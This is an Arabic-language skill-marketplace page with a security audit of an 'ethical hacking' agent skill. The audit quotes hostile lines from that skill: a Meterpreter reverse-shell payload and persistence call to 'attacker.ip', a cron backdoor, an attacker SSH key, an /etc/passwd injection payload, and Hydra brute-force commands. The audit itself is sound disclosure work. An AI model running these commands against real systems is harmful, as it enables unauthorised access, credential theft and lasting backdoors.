📦
content-creator
88إنشاء محتوى تسويقي متسق مع العلامة التجارية
تحتاج فرق التسويق إلى محتوى يبقى متسقًا عبر القنوات. تساعد هذه المهارة في تخطيط المحتوى وكتابته وتحليله وتحسينه بما يتوافق مع نبرة العلامة التجارية وSEO.
الكتابة والمحتوى عرض
المهارات ethical-hacking-methodology
📦
ethical-hacking-methodology
مراجعة المحتوى r1 حرج ⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات
تخطيط اختبارات اختراق مصرح بها
تحتاج فرق الأمن إلى طريقة قابلة للتكرار للتقييمات المصرح بها. تنظّم هذه المهارة الاستطلاع والفحص وأدلة الاستغلال وإعداد التقارير في سير عمل واحد.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "ethical-hacking-methodology" from https://skillstore.io/skills/sickn33-ethical-hacking-methodology.md and its manifest at https://skillstore.io/api/skills/sickn33-ethical-hacking-methodology/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "ethical-hacking-methodology". بدء تقييم مصرح به لتطبيق ويب صغير.
النتيجة المتوقعة:
- حدود النطاق وافتراضات الموافقة.
- مراحل الاستطلاع والفحص مع أهداف الأدلة.
- مخرجات التقارير للمديرين التنفيذيين والمالكين الفنيين.
جارٍ استخدام "ethical-hacking-methodology". تتضمن ملاحظات التقييم برامج قديمة وكلمات مرور ضعيفة وغياب التسجيل.
النتيجة المتوقعة:
ملخص موجز للنتائج يتضمن الشدة والأثر التجاري والأنظمة المتأثرة وإجراءات المعالجة ذات الأولوية.
جارٍ استخدام "ethical-hacking-methodology". خطط لتحقق مضبوط من عيب حقن مشتبه به.
النتيجة المتوقعة:
- أكد التفويض ونافذة الاختبار.
- استخدم مختبرا أو هدفا معتمدا فقط.
- سجّل الأدلة والأثر وخطوات التراجع وإرشادات المعالجة.
التدقيق الأمني
حرجv6 • ٩/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
The skill is an offensive penetration testing guide with explicit commands for scanning, exploitation, brute forcing, Metasploit payloads, persistence, privilege escalation, and disk writes. Several Markdown fence detections are false positives for Ruby execution, but the surrounding instructions contain operational techniques that remain high risk. No prompt injection attempt was found in the reviewed SKILL.md content.
1
الملفات التي تم فحصها
473
الأسطر التي تم تحليلها
29
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (31)
حرج
SSH directory access
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker public key to the SSH authorized_keys path. This creates persistent unauthorized access.
حرج
SSH host/auth files
# Add attacker's public key to ~/.ssh/authorized_keys
The line targets SSH authorization files for attacker persistence. That is a high-impact credential and access control risk.
حرج
Metasploit framework
**Metasploit Framework**
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Metasploit framework
# Start Metasploit
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Metasploit framework
msf> set PAYLOAD windows/meterpreter/reverse_tcp
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Metasploit framework
# Meterpreter persistence
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Metasploit framework
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Metasploit framework
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
عرض جميع النتائج المؤكدة البالغة 31
حرج
Metasploit framework
| Maintaining Access | Persistence | Meterpreter, SSH keys |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Metasploit framework
| `msfconsole` | Start Metasploit |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
حرج
Malware type keywords
**Backdoors**
The backdoors heading introduces a section on establishing persistent access. The following lines include Meterpreter, SSH key, and cron persistence.
حرج
Malware type keywords
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The command installs a recurring cron job for /tmp/backdoor.sh. This is explicit malware-like persistence.
حرج
System password file access
# | cat /etc/passwd
The line shows a command injection payload that reads /etc/passwd. Even as a comment, it gives a sensitive file access test payload.
حرج
Disk destruction command
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes to /dev/sdb and can overwrite an entire disk. This is destructive if aimed at the wrong device.
حرج
Persistence and Backdoor Guidance
The skill directs users to establish persistent access with backdoors, Meterpreter persistence, SSH authorized keys, and cron jobs.
The section explicitly says to establish persistent access and lists concrete backdoor persistence methods.
مرتفع
Malware type keywords
- Clean up test files and backdoors
The line discusses cleaning up backdoors after testing. In context it normalizes creation and removal of backdoors during an engagement.
مرتفع
Network scanning tools
nmap -sn 192.168.1.0/24
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -sP 192.168.1.0/24
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -sS target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -sT target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -sU target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -p- target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -sV target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap -A target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap --script=http-enum target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap --script=smb-enum-shares target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap --script=ftp-anon target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
nmap --script=vuln target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Network scanning tools
| `nmap -sV target` | Port and service scan |
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
مرتفع
Evasion and Exploit Adjustment Guidance
Troubleshooting advises proxies, VPNs, packet fragmentation, different scan techniques, and alternative exploits when blocked.
The guidance appears in blocked scan and failed exploit troubleshooting, so it can help bypass defenses or continue exploitation.
عناصر مراجعة القدرات (29)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Ruby/shell backtick execution
```bash
The Metasploit block walks through exploit search, module selection, payload setup, and execution. This is direct exploitation guidance.
حرج
Ruby/shell backtick execution
```bash
The block gives SQLMap database enumeration and command injection test payloads, including reading a system password file. This is exploitation guidance.
حرج
Ruby/shell backtick execution
```bash
The block teaches persistence through Meterpreter, SSH authorized keys, and a cron backdoor. This is post-exploitation access maintenance.
حرج
Ruby/shell backtick execution
| `msfconsole` | Start Metasploit |
The table directs users to start Metasploit, a framework used for exploit execution. Nearby sections show exploitation workflows.
حرج
Hidden file in home directory
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker key to ~/.ssh/authorized_keys. That creates stealthy persistent access.
حرج
Hidden file access
# Add attacker's public key to ~/.ssh/authorized_keys
The line references modifying ~/.ssh/authorized_keys for attacker persistence. Hidden SSH file access is central to the technique.
حرج
Non-standard device file access
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes an ISO directly to /dev/sdb. A wrong device selection can overwrite disks and destroy data.
حرج
Temp directory access
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The line writes a cron entry that runs /tmp/backdoor.sh every minute. This is explicit persistence through a backdoor.
مرتفع
Ruby/shell backtick execution
```bash
The block gives host discovery commands using Nmap and ARP scanning against a subnet. These are active enumeration steps.
مرتفع
Ruby/shell backtick execution
```bash
The block gives multiple Nmap port scanning modes, including stealth, UDP, full port, and aggressive scans. This is operational network reconnaissance.
مرتفع
Ruby/shell backtick execution
```bash
The block uses Nmap service and vulnerability scripts for HTTP, SMB, FTP, and general vulnerability discovery. This enables target enumeration.
مرتفع
Ruby/shell backtick execution
```bash
The block lists Nikto, OpenVAS, and Nessus scanning commands. These can probe authorized targets but are active security testing tools.
مرتفع
Ruby/shell backtick execution
```bash
The block lists directory brute forcing, subdomain enumeration, and fingerprinting commands. These can reveal hidden application paths and assets.
مرتفع
Ruby/shell backtick execution
```bash
The block provides Hydra brute-force commands and John password cracking usage. These are credential attack techniques.
مرتفع
Ruby/shell backtick execution
```bash
The block lists privilege escalation enumerators, SUID discovery, and sudo permission checks. This supports post-compromise escalation.
مرتفع
Ruby/shell backtick execution
```bash
The block writes to and partitions block devices for Kali persistence. These commands can destroy data if the device is wrong.
مرتفع
Ruby/shell backtick execution
| `nmap -sV target` | Port and service scan |
The table presents an Nmap service scan as an essential command. This is active port and service enumeration.
مرتفع
Ruby/shell backtick execution
| `nikto -h target` | Web vulnerability scan |
The table presents Nikto web scanning as an essential command. This is active vulnerability probing.
مرتفع
Ruby/shell backtick execution
| `hydra -l user -P list ssh://target` | SSH brute force |
The table gives a Hydra SSH brute-force command. This is a credential attack against a network service.
مرتفع
sudo privilege escalation
# Check sudo permissions
The comment introduces sudo permission checks inside a privilege escalation section. It supports post-compromise enumeration.
مرتفع
sudo privilege escalation
sudo -l
The sudo -l command enumerates elevated privileges on a host. In this context it supports privilege escalation.
مرتفع
FTP protocol
hydra -L users.txt -P passwords.txt ftp://target.com
The FTP URL appears in a Hydra brute-force command. This is credential attack guidance against a network service.
مرتفع
SSH protocol URL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
The SSH URL appears in a Hydra brute-force command using a password wordlist. This is credential attack guidance.
مرتفع
SSH protocol URL
| `hydra -l user -P list ssh://target` | SSH brute force |
The SSH URL appears in an essential Hydra brute-force command. This supports credential attacks against SSH.
مرتفع
Non-standard device file access
gparted /dev/sdb
The gparted command opens a raw block device for partitioning. This can alter or destroy data on the selected disk.
مرتفع
Non-standard device file access
mount /dev/sdb2 /mnt/usb
The mount command accesses a raw block device path. It is setup-related, but still directs filesystem access outside normal files.
متوسط
Ruby/shell backtick execution
```bash
The Markdown block presents WHOIS, DNS, subdomain discovery, and email harvesting commands. These external tools enable reconnaissance against real targets.
متوسط
Ruby/shell backtick execution
```
The block lists queries for exposed files, login pages, directories, and env/config files. This can help identify sensitive assets for later attacks.
منخفض
Standard device file access
find / -perm -4000 2>/dev/null
The command redirects errors to /dev/null while enumerating SUID binaries. The device access is minor, but the privilege escalation context is real.
عوامل الخطر
⚙️ الأوامر الخارجية (32)
SKILL.md:73-88 SKILL.md:88-91 SKILL.md:91-107 SKILL.md:107-128 SKILL.md:128-137 SKILL.md:137-140 SKILL.md:140-158 SKILL.md:158-161 SKILL.md:161-169 SKILL.md:169-190 SKILL.md:190-199 SKILL.md:199-214 SKILL.md:214-223 SKILL.md:223-230 SKILL.md:230-249 SKILL.md:249-252 SKILL.md:252-259 SKILL.md:259-262 SKILL.md:262-273 SKILL.md:273-280 SKILL.md:280-289 SKILL.md:289-292 SKILL.md:292-306 SKILL.md:306-387 SKILL.md:387-400 SKILL.md:400-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:304 SKILL.md:305
🌐 الوصول إلى الشبكة (10)
📁 الوصول إلى نظام الملفات (8)
الأنماط المكتشفة
SSH directory accessMetasploit framework×8Malware type keywords×3System password file accessDisk destruction commandNetwork scanning tools×14
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/sickn33-ethical-hacking-methodology?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/sickn33-ethical-hacking-methodology?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-ethical-hacking-methodology/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/sickn33-ethical-hacking-methodology.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
zebbern. (2026). ethical-hacking-methodology security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6اقتباس BibTeX
@techreport{zebbern-sickn33-ethical-hacking-methodology-2026,
author = {zebbern},
title = {ethical-hacking-methodology security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "ethical-hacking-methodology security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-ethical-hacking-methodology:audit:6"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 55
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
69
المجتمع
83
الامتثال للمواصفات
ما الذي يمكنك بناؤه
إعداد تقييم مصرح به
أنشئ خطة قائمة على المراحل، وقائمة تحقق للنطاق، وقائمة بالمخرجات لاختبار أمني مسموح به.
تدريس مفاهيم اختبار الاختراق
اشرح المراحل والأدوات والمخاطر وتوقعات إعداد التقارير الشائعة في فصل دراسي أو مختبر مضبوط.
هيكلة تقرير النتائج
حوّل ملاحظات التقييم إلى نتائج تنفيذية وتفاصيل فنية وتصنيفات مخاطر وأولويات معالجة.
جرّب هذه الموجّهات
رسم خريطة مشاركة مصرح بها
لدي تفويض مكتوب لـ [scope]. ساعدني في تحديد المراحل المسموح بها، والأدلة المطلوب جمعها، والمخرجات النهائية.
إنشاء قائمة تحقق للاستطلاع
أنشئ قائمة تحقق للاستطلاع السلبي والنشط لـ [authorized target]. ضمّن الحدود وفئات الأدوات وملاحظات الأدلة.
فرز النتائج لتقرير
راجع ملاحظات الاختبار المصرح بها هذه: [notes]. جمّع النتائج المحتملة حسب الشدة والأثر وأولوية المعالجة.
تصميم خطة تحقق مضبوطة
لاختبار مختبر معتمد أو اختبار عميل، اقترح خطة تحقق لـ [vulnerability class]. ضمّن الضوابط وخطوات التراجع وأدلة التقرير.
أفضل الممارسات
- أكد التفويض المكتوب والنطاق قبل استخدام أي تقنية.
- حافظ على تنظيم السجلات والطوابع الزمنية والأدلة لأغراض إعداد التقارير.
- استخدم مختبرات مضبوطة أو نوافذ معتمدة من العميل للاختبار النشط.
تجنب
- تشغيل الفحوصات أو الاستغلال أو هجمات كلمات المرور ضد أنظمة خارج النطاق.
- استخدام الاستمرارية أو الأبواب الخلفية أو خطوات التنظيف دون موافقة صريحة.
- اعتبار أوامر الأمثلة آمنة لبيئات الإنتاج.
الأسئلة المتكررة
هل هذه المهارة آمنة للاستخدام العام؟
تحتوي على منهجية هجومية ويجب استخدامها فقط للاختبار المصرح به أو المختبرات المضبوطة.
هل تشغّل المهارة الأدوات تلقائيا؟
لا. إنها وثائق، لكن قد يقترح الوكيل أوامر إذا طلبها المستخدم.
هل يمكن للمبتدئين استخدام هذه المهارة؟
يمكن للمبتدئين دراسة المراحل، لكنهم يحتاجون إلى معرفة قانونية ومعرفة بالشبكات والأمن قبل الاختبار.
ما المخرجات التي تدعمها؟
تدعم ملاحظات الاستطلاع وملخصات الثغرات وأدلة الاستغلال وتقارير التقييم النهائية.
ما الأدوات التي تذكرها؟
تذكر Kali Linux وNmap وNikto وGobuster وMetasploit وHydra وSQLMap وسير عمل إعداد التقارير.
لماذا قد تحتاج هذه المهارة إلى قيود في marketplace؟
تتضمن الاستغلال والقوة الغاشمة والاستمرارية وتصعيد الامتيازات وأوامر أجهزة الأقراص.
تفاصيل المطور
المؤلف
zebbernالترخيص
MIT
مراجعة Skillstore
r1
تنبيه الإصدار
لم يعلن المؤلف عن إصدار.
المستودع
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/ethical-hacking-methodologyمرجع
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
حداثة الصيانة
٢٢/٧/٢٠٢٦
الاستخدام
10 تنزيلات · 149 مشاهدات
بنية الملفات
📄 SKILL.md
المزيد من zebbern
📦
prompt-engineering-patterns
85حسّن مطالبات LLM باستخدام أنماط مثبتة
تستهلك المطالبات غير المتسقة الوقت وتجعل مخرجات الذكاء الاصطناعي صعبة الثقة. ترشد هذه المهارة تصميم المطالبات باستخدام أنماط قابلة لإعادة الاستخدام، وأمثلة، وخطوات تقييم، وسير عمل للتحسين.
الإنتاجية عرض
📦
senior-architect
81تصميم معماريات برمجية قابلة للتوسع
يصعب مقارنة قرارات المعمارية عبر أنظمة الويب والهواتف المحمولة والخلفية والسحابة. توفر هذه المهارة أدلة منظمة وسكربتات تمهيدية محلية للتقارير ومراجعة الاعتماديات وتوثيق المفاضلات.
البرمجة والتطوير عرض
📦
senior-fullstack
81بناء تطبيقات Fullstack بأنماط هندسية متقدمة
تحتاج الفرق إلى إرشادات متسقة للإعداد والبنية والمراجعة لتطبيقات الويب الحديثة. توفر هذه المهارة أدوات إنشاء هياكل أولية، ومراجع لسير العمل، ومطالبات للجودة لمشاريع React وNext.js وNode.js وGraphQL وPostgreSQL.
البرمجة والتطوير عرض
📦
prompt-engineer
81حسّن موجهات الذكاء الاصطناعي باستخدام Prompt Engineer
كتابة موجهات واضحة صعبة عندما تكون الأهداف غامضة أو معقدة. تحوّل هذه المهارة الطلبات الأولية إلى موجهات منظمة باستخدام أطر عمل مثبتة للموجهات.
الإنتاجية عرض
📦
product-manager-toolkit
80رتّب أولويات عمل المنتج باستخدام رؤى البحث
تحتاج فرق المنتج إلى طرق أسرع لترتيب الميزات، وتلخيص المقابلات، وتوثيق القرارات. توفر هذه المهارة تسجيل RICE، وتحليل المقابلات، وقوالب PRD للتخطيط المنظم.
الإنتاجية عرض
مهارات ذات صلة
عرض الكل📦
security-engineer
38Audit Systems and Applications Securely
بواسطة zl2023github
Security reviews require consistent scope, evidence, and remediation guidance across many tools. This skill provides practical workflows for authorized assessment, monitoring, hardening, and reporting.
الأمان والامتثال عرض
📦
universal-audit
92Audit Software Releases with Evidence
بواسطة glenskii
Release decisions often rely on incomplete evidence and inconsistent standards. This skill applies structured controls, deterministic scoring, and mandatory gates to assess readiness.
الأمان والامتثال عرض
📦
senior-security
81تعزيز مراجعات أمان التطبيقات
بواسطة alirezarezvani
غالبًا ما تفتقر مراجعات الأمان إلى قوائم تحقق متسقة وسير عمل قابل لإعادة الاستخدام. توفر هذه المهارة قوالب تمهيدية لمراجعات الأمان، وإرشادات مرجعية، وسكربتات تقارير بسيطة لـ Claude وCodex وClaude Code.
الأمان والامتثال عرض
📦
security-report
78إنشاء تقارير تقييم أمني
بواسطة BytR-Ecosystems
يصعب عرض النتائج الأمنية بوضوح على المديرين التنفيذيين والفرق التقنية. تنشئ هذه المهارة تقارير DOCX منظمة تتضمن تصنيفات للمخاطر وإرشادات للمعالجة.
الأمان والامتثال عرض
📦
binary-re-synthesis
78توثيق نتائج تحليل الملفات الثنائية
بواسطة 2389-research
غالبًا ما ينتج تحليل الملفات الثنائية حقائق متفرقة يصعب مشاركتها. تساعد هذه المهارة Claude وCodex وClaude Code على تحويل الأدلة إلى تقارير واضحة تتضمن مستويات الثقة والخطوات التالية.
الأمان والامتثال عرض
📦
security-audit
76Audit Codebases for Security Vulnerabilities
بواسطة cloudflare
Security reviews often miss trust-boundary failures or produce weak evidence. This skill structures reconnaissance, isolated validation, independent verification, and actionable reporting.
الأمان والامتثال عرض